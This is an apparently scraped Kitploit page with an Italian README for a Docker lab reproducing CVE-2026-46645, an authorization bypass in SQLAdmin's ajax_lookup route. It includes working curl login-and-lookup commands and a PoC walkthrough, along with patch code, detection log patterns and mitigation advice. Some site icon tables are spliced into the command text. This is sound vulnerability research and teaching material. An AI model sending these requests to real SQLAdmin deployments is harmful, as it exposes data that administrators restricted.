Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-46645-Analysis-Lab | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-46645-analysis-lab
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-46645-analysis-lab

CVE-2026-46645-Analysis-Lab

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
2 mesi faNon ancora revisionato

CVE-2026-46645 - SQLAdmin ajax_lookup: bypass dell'autorizzazione

Riepilogo esecutivo

Questo repository contiene un laboratorio Docker locale per riprodurre la CVE-2026-46645, una vulnerabilità di bypass dell'autorizzazione che interessa l'endpoint ajax_lookup di SQLAdmin.

SQLAdmin è un'interfaccia di amministrazione per i modelli SQLAlchemy nelle applicazioni Starlette e FastAPI. Il comportamento vulnerabile si verifica quando un'applicazione limita una ModelView con is_accessible(request), ma la rotta ajax_lookup di SQLAdmin non applica la stessa decisione di controllo degli accessi prima di restituire i risultati della ricerca.

Questo laboratorio confronta due versioni di SQLAdmin:

ServiceSQLAdmin versionPurposeURL
vuln0.25.0Target vulnerabilehttp://127.0.0.1:8001
patched0.25.1Target di confronto correttohttp://127.0.0.1:8002

La catena di vulnerabilità dimostrata è:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403

root@kitploit:~
Il laboratorio utilizza intenzionalmente un semplice modello di dati `Report` / `SecretProject` per rendere facile da comprendere il bypass dell'autorizzazione. Questi nomi di modello non sono la causa principale della vulnerabilità. Sono usati solo per creare una condizione di riproduzione controllata.

Questo laboratorio è progettato solo per ricerca locale controllata, comprensione a livello di codice sorgente e dimostrazione per portfolio.

## Fatti verificati

| Affermazione | Evidenza | Come verificarlo in questo laboratorio |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| L'endpoint `ajax_lookup` di SQLAdmin è il componente interessato. | L'avviso pubblico descrive il formato dell'endpoint interessato come `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | Esegui il PoC e osserva le richieste a `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` è usato come target di confronto vulnerabile. | Il laboratorio installa `sqladmin==0.25.0` nel container `vuln`. | Esegui `docker compose exec -T vuln python -m pip show sqladmin`. |
| SQLAdmin `0.25.1` è usato come target di confronto corretto. | L'avviso pubblico e le note di rilascio identificano `0.25.1` come versione corretta. | Esegui `docker compose exec -T patched python -m pip show sqladmin`. |
| La causa principale è nella route `Admin.ajax_lookup()` dell'upstream di SQLAdmin. | La patch aggiunge l'autenticazione mancante e l'applicazione di `is_accessible(request)` a `ajax_lookup()`. | Ispeziona `Admin.ajax_lookup()` all'interno di entrambi i container con i comandi presenti in questo README. |
| Il laboratorio crea una `ModelView` ristretta. | `ReportAdmin.is_accessible(request)` restituisce intenzionalmente `False`. | Ispeziona `app/main.py`. |
| Il PoC utilizza una sessione autenticata. | Il PoC accede prima a `/admin/login`, mantiene il cookie di sessione e poi richiede `ajax_lookup`. | Esegui `python3 poc/poc.py --base-url http://127.0.0.1:8001`. |
| Il segnale vulnerabile è l'esposizione dei dati. | SQLAdmin `0.25.0` restituisce HTTP 200 e risultati di ricerca JSON da una vista ristretta. | Il target vulnerabile dovrebbe restituire `Secret Project Alpha` e `Secret Project Beta`. |
| Il segnale della versione corretta è la negazione dell'accesso. | SQLAdmin `0.25.1` restituisce HTTP 403 per la stessa richiesta autenticata. | Il target corretto dovrebbe restituire `403 Forbidden`. |

## Assunzioni e incognite

Questo laboratorio usa `sqladmin==0.25.0` come baseline vulnerabile e `sqladmin==0.25.1` come baseline corretta.

Il laboratorio si concentra sulla condizione di bypass dell'autorizzazione in cui:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

Il lab non tenta di riprodurre ogni possibile modello di distribuzione di SQLAdmin. Crea intenzionalmente una piccola applicazione Starlette con una vista admin limitata, così che la differenza di comportamento tra versioni vulnerabili e corrette sia facile da verificare.

I modelli Report e SecretProject sono oggetti solo del lab. Non fanno parte di SQLAdmin stesso.

Il PoC non tenta escalation dei privilegi, modifica dei dati, furto di sessione, callback esterni, persistenza o attacchi contro sistemi non del lab.

Riepilogo della causa principale

La causa principale si trova nella route Admin.ajax_lookup() a monte di SQLAdmin, non nel codice applicativo di questo lab.

SQLAdmin consente agli sviluppatori di limitare l'accesso alle viste admin sovrascrivendo:```python ModelView.is_accessible(request)

root@kitploit:~
Le altre route di amministrazione sono tenute ad applicare questa decisione di controllo accessi prima di consentire alla richiesta di proseguire. Ad esempio, route come `list`, `create`, `details`, `delete`, `edit` ed `export` verificano se la richiesta corrente è autorizzata ad accedere alla `ModelView` di destinazione.

La route vulnerabile `ajax_lookup` non applicava la stessa decisione di controllo accessi.

L'endpoint `ajax_lookup` è utilizzato dalla funzionalità `form_ajax_refs` di SQLAdmin per caricare dinamicamente i valori delle relazioni. Il suo formato endpoint è:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

Nella versione vulnerabile, ajax_lookup() risolve il ModelView di destinazione, legge il nome del campo di lookup e il termine di ricerca dalla query string, quindi chiama il loader AJAX e restituisce risultati JSON. Il passo di sicurezza mancante è che non verifica prima se la richiesta corrente è autorizzata ad accedere a quel ModelView.

L'impatto sulla sicurezza è che un utente autenticato potrebbe essere bloccato dall'accesso a una vista admin ristretta attraverso le normali rotte UI, ma può comunque richiedere direttamente l'endpoint di lookup AJAX per quella vista e ricevere dati di relazione.

SQLAdmin 0.25.1 corregge questo problema imponendo il controllo degli accessi all'interno di ajax_lookup(). La rotta corretta controlla model_view.is_accessible(request) e restituisce HTTP 403 quando la vista di destinazione non è accessibile.

Questo laboratorio definisce ReportAdmin.is_accessible(request) per restituire False solo per riprodurre la condizione vulnerabile. Il codice del laboratorio non è la causa principale. È un banco di prova controllato che dimostra se la rotta ajax_lookup() a monte di SQLAdmin rispetta la decisione di controllo degli accessi.

Differenza di comportamento prevista:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden

root@kitploit:~
## Riepilogo della patch sorgente

La patch significativa a monte è l'aggiunta dell'applicazione dell'autenticazione e dell'autorizzazione a `Admin.ajax_lookup()`.

Il comportamento corretto è equivalente a:```python
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...

Il controllo di autorizzazione chiave è:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

root@kitploit:~
Il lab dimostra che questo controllo è assente nella versione vulnerabile e presente nella versione corretta.

## Architettura del Lab

Il lab esegue due applicazioni Starlette isolate tramite Docker Compose.```text
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile

I due servizi eseguono lo stesso codice applicativo ma installano versioni diverse di SQLAdmin:

ServizioVersione pacchettoMappatura porte
vulnsqladmin==0.25.0127.0.0.1:8001 -> 8000
patchedsqladmin==0.25.1

L'applicazione crea due modelli SQLAlchemy:```text SecretProject Report

root@kitploit:~
`Report` ha una relazione con `SecretProject`:```text
Report.project -> SecretProject

ReportAdmin definisce una ricerca AJAX delle relazioni:```python form_ajax_refs = { "project": { "fields": ("name",), "order_by": "name", "limit": 10, } }

root@kitploit:~
La vista admin ristretta è:```python
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False

Questo crea intenzionalmente la condizione necessaria per testare se la route ajax_lookup() di SQLAdmin applica is_accessible().

L'endpoint vulnerabile utilizzato dal PoC è:```text /admin/report/ajax/lookup?name=project&term=Secret

root@kitploit:~
Credenziali predefinite del laboratorio:```text
username: analyst
password: lab-password

Requisiti

  • Docker Desktop o Docker Engine
  • Docker Compose v2
  • Python 3
  • Pacchetto Python requests per eseguire il PoC dall'host
  • curl per la riproduzione HTTP manuale
  • Accesso a Internet durante la build dell'immagine per installare i pacchetti Python da PyPI

Installa la dipendenza del PoC sull'host se necessario:```bash python3 -m pip install requests

root@kitploit:~
## Avvio rapido

Compila e avvia il lab:```bash
docker compose down --remove-orphans
docker compose up --build -d

Controlla lo stato del container:```bash docker compose ps

root@kitploit:~
Servizi esposti attesi:```text
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002

Controlla gli endpoint di salute:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health

root@kitploit:~
Entrambi dovrebbero restituire:```json
{"status":"ok"}

Apri l'interfaccia di amministrazione in un browser se desideri:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin

root@kitploit:~
Credenziali di accesso:```text
analyst / lab-password

Uso del PoC

Esegui il PoC contro il servizio vulnerabile:```bash python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"

root@kitploit:~
Esegui lo stesso PoC contro il servizio patchato:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

Il PoC esegue questi passaggi:```text

  1. Send POST /admin/login with the lab credentials.
  2. Keep the returned session cookie.
  3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
  4. Print the HTTP status, content type, response body, and interpretation.
root@kitploit:~
Il PoC stampa intenzionalmente il flusso di richieste e risposte così che il bypass dell'autorizzazione sia visibile al lettore.

## Riproduzione manuale HTTP con curl

Puoi riprodurre la vulnerabilità manualmente senza usare `poc/poc.py`.

Questo è utile quando vuoi mostrare il flusso HTTP esatto:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses

Target Vulnerabile

Imposta l'URL del target vulnerabile:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"

root@kitploit:~
Accedi come utente del laboratorio e salva il cookie di sessione:```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

Invia la richiesta ajax_lookup limitata:```bash curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

root@kitploit:~
Risultato vulnerabile previsto:```http
HTTP/1.1 200 OK
content-type: application/json

Corpo previsto:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

root@kitploit:~
Questo conferma il comportamento vulnerabile poiché la richiesta è autenticata, `ReportAdmin.is_accessible(request)` restituisce `False`, ma SQLAdmin `0.25.0` restituisce comunque i dati di lookup.

### Target Patchato

Imposta l'URL del target patchato:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"

Accedi come lo stesso utente del lab:```bash curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"

root@kitploit:~
Invia la stessa richiesta `ajax_lookup` ristretta:```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Risultato atteso della patch:```http HTTP/1.1 403 Forbidden

root@kitploit:~
Questo conferma il comportamento corretto (con patch applicata) perché SQLAdmin `0.25.1` applica il controllo mancante `ModelView.is_accessible(request)` all'interno di `ajax_lookup()`.

### Confronto in una riga

Servizio vulnerabile:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"

Servizio patchato:```bash curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"

root@kitploit:~
Confronto previsto:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

Output previsto

Target vulnerabile:```text

Target: sqladmin 0.25.0 vulnerable

Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'

================================================================================ Step 1 - Login as authenticated low-privileged user

Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=

Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}

================================================================================ Step 2 - Send ajax_lookup request to restricted ModelView

Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret

Security condition:

  • The user is authenticated.
  • ReportAdmin.is_accessible(request) returns False.
  • A restricted admin ModelView should not expose lookup data.

Response: HTTP status : 200 Content-Type : application/json

Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

================================================================================ Step 3 - Interpretation

[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.

root@kitploit:~
Target corretto:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.

Come Funziona la PoC

La PoC utilizza la libreria Python requests e un oggetto requests.Session() persistente.

Prima, si autentica su SQLAdmin:```text POST /admin/login

root@kitploit:~
con le credenziali del lab:```text
analyst / lab-password

Dopo il login, l'oggetto sessione conserva il cookie di sessione restituito.

Quindi il PoC invia la richiesta di lookup AJAX ristretta:```text GET /admin/report/ajax/lookup?name=project&term=Secret

root@kitploit:~
Nell'applicazione di laboratorio, questa richiesta ha come obiettivo `ReportAdmin`.

`ReportAdmin` è intenzionalmente inaccessibile:```python
def is_accessible(self, request):
    return False

Questa è la condizione del laboratorio. Non è la vulnerabilità a monte.

La questione di sicurezza testata è:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?

root@kitploit:~
Su SQLAdmin `0.25.0`, l'endpoint restituisce HTTP 200 e risultati di ricerca JSON. Questo conferma il comportamento vulnerabile.

Su SQLAdmin `0.25.1`, l'endpoint restituisce HTTP 403. Questo conferma il comportamento corretto.

## Comandi Utili per la Verifica

Controlla i container in esecuzione:```bash
docker compose ps

Controlla i log del servizio:```bash docker compose logs vuln patched

root@kitploit:~
Controlla le versioni di SQLAdmin installate:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin

Versioni previste:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1

root@kitploit:~
Esegui di nuovo il PoC:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"

|------------------------------|----------------------------------------| | Marchio | Indica il nome del marchio. | | Marchio registrato | Rappresenta un marchio registrato. | | Aiuto | Rappresenta un'icona di aiuto o supporto. | | Informazioni | Indica un'icona di informazioni, dettagli o suggerimenti. | | Avviso | Rappresenta un simbolo di avvertenza o cautela. | | Email | Indica un'icona email. | | Calendario | Rappresenta un'icona calendario. | | Ricerca | Indica un'icona di ricerca. | | Lucchetto | Rappresenta un'icona di sicurezza o lucchetto. | | Telefono | Indica un'icona numero di telefono. | | Collegamento | Rappresenta un'icona di collegamento ipertestuale. | | Tag | Indica un'icona etichetta, classificazione o categorie. | | Segnalibro | Rappresenta un'icona segnalibro o salva. | | Home page | Indica un'icona home page o avvio. | | Scarica | Rappresenta un'icona di download. | | Carica | Indica un'icona di upload. | | Stampa | Rappresenta un'icona di stampa. | | Impostazioni | Indica un'icona delle impostazioni o configurazione. | | Utente | Rappresenta un'icona profilo utente o account. | | Gruppo | Indica un'icona gruppo, team o community. | | Carrello | Rappresenta un'icona carrello della spesa. | | Campanella di notifica | Indica un'icona notifica, promemoria o allarme. | | Fotocamera | Rappresenta un'icona fotocamera. | | Video | Indica un'icona video o multimedia. | | Musica | Rappresenta un'icona file musicale o audio. | | File | Indica un'icona file o documento. | | Cartella | Rappresenta un'icona cartella o directory. | | Allegato | Indica un'icona allegato o clip. | | Modifica | Rappresenta un'icona modifica o matita. | | Microfono | Indica un'icona microfono. | | GPS | Rappresenta un'icona posizione o segnaposto GPS. | | | Indica un'icona segnale WiFi o wireless. | | | Rappresenta un'icona cloud computing o archiviazione. | | | Indica un'icona stato batteria o alimentazione. | | | Rappresenta un'icona processore o chip hardware. | | | Indica un'icona scudo o sicurezza informatica. | | | Rappresenta un'icona chiave o autenticazione. | | | Indica una bolla di chat o icona commento. | | | Rappresenta un'icona pollice su o mi piace. | | | Indica un'icona pollice giù o non mi piace. | | | Rappresenta una freccia direzionale verso l'alto. | | | Indica una freccia direzionale verso il basso. | | | Rappresenta una freccia direzionale verso sinistra. | | | Indica una freccia direzionale verso destra. | | | Rappresenta un'icona espandi o massimizza. | | | Indica un'icona comprimi o minimizza. | | | Rappresenta un'icona aggiorna o ricarica. | | | Indica un'icona schermo intero o ingrandisci. | | | Rappresenta un'icona collegamento esterno o nuova scheda. | | | Indica un'icona codice, programmazione o script. | | | Rappresenta un'icona bug o insetto. | | | Indica un'icona lampadina, idea o intuizione. | | | Rappresenta un'icona razzo o lancio. | | | Indica un'icona fiamma o tendenza. | | | Rappresenta un'icona stella o preferito. | | | Indica un'icona sole o luminosità. | | | Rappresenta un'icona luna o modalità notturna. | | | Indica un'icona cuore o mi piace. |```bash python3 poc/poc.py --base-url --label "sqladmin 0.25.1 patched"

root@kitploit:~
Salva l'output delle evidenze:```bash
mkdir -p evidence

python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable" \
  | tee evidence/poc-vuln-0.25.0.txt

python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched" \
  | tee evidence/poc-patched-0.25.1.txt

docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt

Ispezionare il sorgente vulnerabile installato:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application

print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY

root@kitploit:~
Ispeziona il sorgente patchato installato:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

La versione vulnerabile non dovrebbe applicare model_view.is_accessible(request) all'interno di ajax_lookup().

La versione corretta dovrebbe includere un controllo di autorizzazione equivalente a:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

root@kitploit:~
## Rilevamento e Monitoraggio

In un'applicazione reale che utilizza SQLAdmin, l'attività sospetta può presentarsi come richieste dirette agli endpoint di ricerca AJAX:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

Per questo lab, gli indicatori di log utili includono:```text GET /admin/report/ajax/lookup?name=project&term=Secret

root@kitploit:~
Modello di log vulnerabile previsto:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK

Schema di log patchato previsto:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden

root@kitploit:~
Idee per il monitoraggio in produzione:

* esaminare l'accesso diretto agli endpoint `/ajax/lookup`,
* confrontare l'accesso alle ricerche con i flussi UI di amministrazione previsti,
* monitorare termini di ricerca ripetuti da account con privilegi bassi,
* verificare se le classi `ModelView` sensibili usano `form_ajax_refs`,
* verificare se le viste di modello ristrette sono ancora esposte tramite ricerche di relazioni.

## Note su Mitigazione e Patch

Eseguire l'upgrade di SQLAdmin alla versione `0.25.1` o successiva.

La patch aggiunge l'applicazione del controllo degli accessi mancante alla rotta `ajax_lookup`. L'endpoint corretto verifica se la richiesta corrente è autorizzata ad accedere alla `ModelView` di destinazione. Se `is_accessible(request)` restituisce `False`, la richiesta viene bloccata con HTTP 403.

Raccomandazioni di hardening a livello applicativo:

* aggiornare SQLAdmin a una versione corretta,
* rivedere tutte le implementazioni personalizzate di `ModelView.is_accessible()`,
* evitare di esporre ricerche di relazioni sensibili tramite `form_ajax_refs` se non necessario,
* testare le viste di amministrazione ristrette sia tramite le rotte UI normali sia tramite le rotte di ricerca AJAX,
* monitorare l'accesso agli endpoint `/admin/*/ajax/lookup`,
* assicurarsi che l'autenticazione dell'amministratore e la gestione delle sessioni siano configurate correttamente.

## Pulizia

Arrestare e rimuovere contenitori e reti:```bash
docker compose down --remove-orphans

Rimuovi contenitori, reti e volumi anonimi:```bash docker compose down -v --remove-orphans

root@kitploit:~
Rimuovi le immagini costruite localmente, se desiderato:```bash
docker image rm \
  cve-2026-46645-sqladmin-vuln:0.25.0 \
  cve-2026-46645-sqladmin-patched:0.25.1 \
  2>/dev/null || true

Rimuovi i file di evidenza se desiderato:```bash rm -rf evidence/

root@kitploit:~
## Limiti di sicurezza

Questo laboratorio è destinato esclusivamente alla ricerca locale sulla sicurezza e a dimostrazioni controllate.

Non eseguire la PoC contro sistemi che non possiedi o per cui non hai l'autorizzazione a testare.

Non utilizzare credenziali reali, segreti di produzione o target esterni in questo laboratorio.

La PoC è intenzionalmente limitata a servizi Docker locali come:```text
http://127.0.0.1:8001
http://127.0.0.1:8002

Il PoC non include payload per furto di credenziali, modifica dei dati, persistenza, movimento laterale o callback esterni.

L'obiettivo è dimostrare una specifica condizione di bypass dell'autorizzazione in un ambiente controllato:```text authenticated user

  • restricted ModelView
  • ajax_lookup request
  • vulnerable version returns data
  • patched version returns 403
root@kitploit:~
## Riferimenti

- GitHub Advisory Database: Bypass dell'autorizzazione di SQLAdmin su ajax_lookup  
  https://github.com/advisories/GHSA-54mc-gghv-4cfj

- Avviso OSV: GHSA-54mc-gghv-4cfj / CVE-2026-46645  
  https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj

- Rilascio di SQLAdmin 0.25.1  
  https://github.com/smithyhq/sqladmin/releases/tag/0.25.1

- Confronto SQLAdmin: da 0.25.0 a 0.25.1  
  https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1

- SQLAdmin 0.25.0 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py

- SQLAdmin 0.25.1 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py

- Test di autenticazione SQLAdmin  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py

- Test AJAX SQLAdmin  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py

- PyPI: sqladmin  
  https://pypi.org/project/sqladmin/

- Repository GitHub di SQLAdmin  
  https://github.com/smithyhq/sqladmin
Scarica lo strumento
127.0.0.1:8002 -> 8000
WiFi
Cloud
Batteria
Chip
Scudo
Chiave
Commento
Mi piace
Non mi piace
Freccia su
Freccia giù
Freccia sinistra
Freccia destra
Espandi
Comprimi
Aggiorna
Schermo intero
Collegamento esterno
Codice
Bug
Lampadina
Razzo
Fuoco
Stella
Sole
Luna
Cuore

http://127.0.0.1:8002